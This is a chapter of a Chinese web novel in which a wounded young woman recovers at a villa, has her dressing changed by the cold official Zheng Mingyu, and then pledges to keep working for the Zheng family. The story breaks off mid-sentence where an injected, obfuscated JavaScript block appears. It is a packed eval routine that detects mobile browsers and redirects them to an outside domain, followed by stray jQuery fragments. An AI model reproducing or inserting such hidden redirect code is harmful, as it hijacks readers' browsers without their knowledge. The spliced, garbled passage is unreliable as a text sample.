56. 投诚

清晨,鸟鸣啁啾。


常青青被鸟叫声吵得迷迷糊糊,略一动弹,被后背伤口上的蛰痛彻底惊醒了。


“痛痛痛……”她苦叫一声,眼冒金星,好半天才缓过神来。方瞧见一个人靠坐在床榻边上,素白的脸上还挂着泪痕。


竟这样睡了一夜!


她心头一滞,忙去晃人:“阿章,阿章?醒醒,怎么睡在这里?!”


未曾叫醒郑蕴章,却唤来一位不速之客。


常青青余光扫了一记,无意瞥见一个冷气森森的身影,也不知站在门前看了多久,鬼魂一般,阴沉得很。


她被吓得一哆嗦,结结巴巴道:“郑,郑大人。”


郑明玉穿的似乎还是昨日的衣袍,上头还沾着浓重的血腥气。


想必是那些山匪砍斗时留下的。


不知为何,过了一夜,血腥气竟不减反增,此人身上还沾了些夜里的露水寒气与肃杀之气。


不敢细想。


昨日一事历毕,常青青已自觉明了刀剑砍杀无眼的道理,如今世道,人人出行在外,恐怕都是将脑袋拴在裤腰带上过活。


当时胆子大不怕死,现在回想起来,只一阵后怕,双腿都发软。


她到底是哪来的胆子去挡刀?还企图用匕首去伤那山匪?……若非福大命大,或许早已命丧那山匪的刀下!


所以,即便是郑明玉亲手杀了人又如何?都是为了自保!况且此人手段毒辣,借刀杀人的事情估计没少做过。如今也只不过是当着她的面手刃一个山匪而已、而已……


常青青自我说服许久,勉强抬头笑道:“郑大人,阿章她……”


郑明玉眼下一片青黑,神情却十分平静。


“来人,把二小姐带回她自己的住处。”


郑蕴章被人一扶,又开始嘟嘟囔囔地不情愿离开,然而到底不敌困倦,兼得常青青好生劝了许久,这才老实回去了。


顿时屋内又显得冷清许多,只余她与郑明玉二人。一站一趴,实在诡异。


常青青趴在床塌上偏头看过去,有些尴尬。


按理来说,过会便是换药的时候。


她背上的伤看着吓人,横亘了肩背,似乎是留下了不小的一道印子。郑蕴章昨日非要看,她拗不过便答应了,可侍女剥开伤口换药之时,她便哭得直抽噎,倒搞得常青青有些无奈。


如今郑蕴章离开了,她才松了口气,待会儿换药便容易些。


可这郑明玉也不走,也不说要做什么,只一言不发坐在这里,叫她有些难办。


她翻不了身,只能像个长了壳的王八一般正面朝下,说话的时候费劲转过脸去,才能勉强看着别人。


“呃,郑大人若是无事……”


话未说完,稍一挣动,背上的伤口便痛得她呲牙咧嘴。刺痛如针扎,她猛吸一口气,浑然不觉自己脸色苍白。


“多话什么?”那头传来一道冷斥。“老实趴着。”


“……哦哦。”


常青青便不折腾了,窝在榻上当鹌鹑。


不说话倒罢了,可背上的伤痛得厉害,只能趴着睡。趴久了胸闷气短,总想换个姿势。稍一折腾又会裂开伤口,循环往复。


她也不好意思叫人来看,只能咬牙捱着。


正一点点蛄蛹着寻好受的姿势,背上却莫名多了一道力,冰冷的如同冰窖里刚抽出来的指尖压着她的脊背,同其主人一样森然。


“乱动什么。”


……!


常青青倒抽一口凉气,什么情况?!


“不是该换药了?”


她瞳孔巨震。


若非此时实在不便,真恨不得脑袋拧过去看看郑明玉是否被人夺舍了!


“我这妹妹不懂事,劳你费心照料。”郑明玉接着道,“做兄长的自要替她料理,总不能让她的救命恩人难为。”


这就不必了吧!!


叫郑明玉亲自换药,她是活腻了不成?总觉得更像是一顿断头饭……


她干笑道:“这个……不用了吧,侍女换就很好了,实在不敢劳动大人……”


“理应如此。”


郑明玉淡淡一句,却实在不容置疑。“直起身子。”


迫于习惯,常青青下意识照做。


于是一双冰冷的手剥开了她身上缠着的血迹斑斑的旧纱布,又执一条新布绕了过来,缠了几圈。


换新药时,药粉轻飘飘洒在伤口处,手指偶尔同她的肌肤轻碰,便传来彻骨的凉,激得她打了个哆嗦。


“别动。”那声音极为不耐。


她愈发老实了,不敢再折腾半点。可是僵直着身子比动来动去费力更多,全靠着一口气提着才勉强撑着。


“好了。”


直到郑明玉将纱布封紧,她脱力跌回枕上,如闻大赦似的呼出一口气:“实在是……多谢郑大人。”


郑明玉又道:“理应如此。”


药已换过,眼下气氛又沉寂下来。


常青青想了想,翻出一件事来:“对了,侍郎大人,先前您说的,让我随您一道去个地方之事,安排在何时?我好提前准备一下……”


郑明玉坐在不远处,抬眼看她半晌,久到常青青都觉得后背发毛,才道:“不必。”


什么意思?是不用去了吗?


她心下犯嘀咕,嘴上只问:“那可还需要我做些别的事?”


郑明玉又瞥她一眼,神色冷淡。


“你好好养伤罢。”


万万不曾想到,这郑明玉当真说到做到,让她好好养伤竟然是真的养伤,此后的日子再也没嘱托过半点别的事。


常青青的心情从提心吊胆变成莫名其妙,到最后索性摆烂——看这样子,她倒真像是来借光度假的一样。


想来是看在她为护佑郑蕴章而受伤的份上才如此安排……常青青幽幽想,真功利啊,只有做有用之人才会被善待!


不过那头不来派活,她也乐得清闲,每日同郑蕴章游手好闲地玩乐,全无半点心理压力。


可闲玩久了,也多少发现些不对劲。明明是来避暑,这园子里怎么好像只有她们俩人?


她好奇道:“这些日子都未曾见过郑大人,他的公务竟如此繁忙?”


郑蕴章想了想,偏头道:“或许是有要事在身吧?他们先前就这样,我也不知道。别管他了,我们玩自己的!”


说着,她掬起一捧池水,笑嘻嘻泼过来,水滴飞溅,映着绵长夏日,落了满船碎光。


常青青惊道:“怎么泼水!大小姐,我就这一身体面衣裳!”


郑蕴章哼道:“这有什么?叫人再赔你一百套!”


于是二人便笑嘻嘻又闲话在一处,漾着池中小舟,惬意度日。


……


在别苑闲度十来日,好生将养之下,伤口也愈合得七七八八。


虽说成日休憩玩乐也很好,可她记挂着别的事,如此久了,也不免有些焦躁,每日在房内踱来踱去,和郑蕴章一道玩的时候还要装作无事发生。


本以为得在这与世隔绝的地方待满一月,正心急着,却忽然得了传令,说是郑明玉唤她过去。


果然!常青青心道,该来的还是来了。


如今在这别苑里被温水煮了一段时间,才后知后觉


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003331|170228||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


地觉出不对。这地方如此偏僻,长了翅膀都难飞回京城,她竟然敢就这么独自一人来了?真是人为刀俎,进了人家的地盘,身不由己……


她心里七上八下,也不知这郑明玉要做什么,面上恭敬道:“郑大人有什么吩咐?”


一阵时日没见,郑明玉似乎更显得凌厉阴郁。


偏是这样诡异的时候,他沉默半晌,竟问:“你为何救章儿。”


常青青本已做好万全的心理准备,被这一问,迷惑不已,纳闷道:“这……我与她情分不浅,已视她为友人。救扶好友,人之常情。何况,我比她皮糙肉厚些,本就该……”


“友人?”


郑明玉咀嚼了一番这个说法,冷笑一声。


常青青硬着头皮点头。


“罢了。我只问你,你想要什么奖赏。”


“奖赏?”


“什么都可。”郑明玉道:“你若现在说想离开,我也不会再过问。从前往事一笔勾销,日后郑家不会再找你任何麻烦。还会给你足够的银钱。”


常青青一时有些茫然。


离开?


往事一笔勾销……什么意思?她欠郑家的钱一并勾了?


那她岂不是就可以,回去过自己的安生日子了?


她有些恍惚。


一开始,不就想这样吗?


如今饱了么也重回了平静。她……她若是就此为止,可不正是一切都好吗?


可以不为郑家做事,得了自由身,还处在郑府的庇荫下,似乎一切都像是过去了,风平浪静。


常青青费力地想,这样很好。


她……可以离开吗?


郑明玉掸了掸袖子,似是有些乏:“怎么?还没想好?放心,无论如何,郑府可保你家人无忧。”


原来还在晃神,只这一句话,浇得她当头一凉。


这句话同当日被郑明玉私审时说的话重叠在一起,如同焦雷落下,震得她神志清明。


无法当作无事发生。


槐阳至今未曾回来,小宋总会因从前的牢狱之事夜里惊醒,走在路上她总能听到些闲言碎语——这一切都不能当作没发生过,也都恰好是拜郑家所赐。


一众人都像是惊弓之鸟,总觉得如今的平静都像是假的一样,时时刻刻都会被打碎。


无法捂起耳朵假装一切都没发生过,再回到安心度日的时候。她不相信仰人鼻息能过一辈子,更何况,还是从前漫不经心捏散她们生活的人。


这样劳心费力,只为了争一口气,寻回公道。


才能安心睡下每一日的觉。


也好再见槐阳时同她道歉,说一切已经摆平了,请她再回来。


脑里想了许久,现实只是倏然而过。


常青青咽了咽口水,声音有些颤抖,却很坚定。


“大人,我还是……想为郑家做事。”


郑明玉深深看她一眼:“你值得我信吗?”


常青青愣了片刻,才反应过来。她忙竖起手指,眼睛一眨不眨:“我视阿章为挚友,更得了大人的宽恕,自然愿为大人赴汤蹈火,在所不辞!”


许久,郑明玉才冷声道:“不错。你既投诚,我自不会亏待你。”


“明日出发回京后,会有人带你走一趟盐进出的路线。你最好记住了,日后其中一段路,便交给你了。”


乍闻此言,常青青猛地屏住呼吸,几乎难以相信自己的耳朵。这是终于被认可了?!


郑明玉看着她,眼瞳幽深。


“从明日起,且看看你的诚意。”


她吐出一口气来,声音轻颤:“……是。”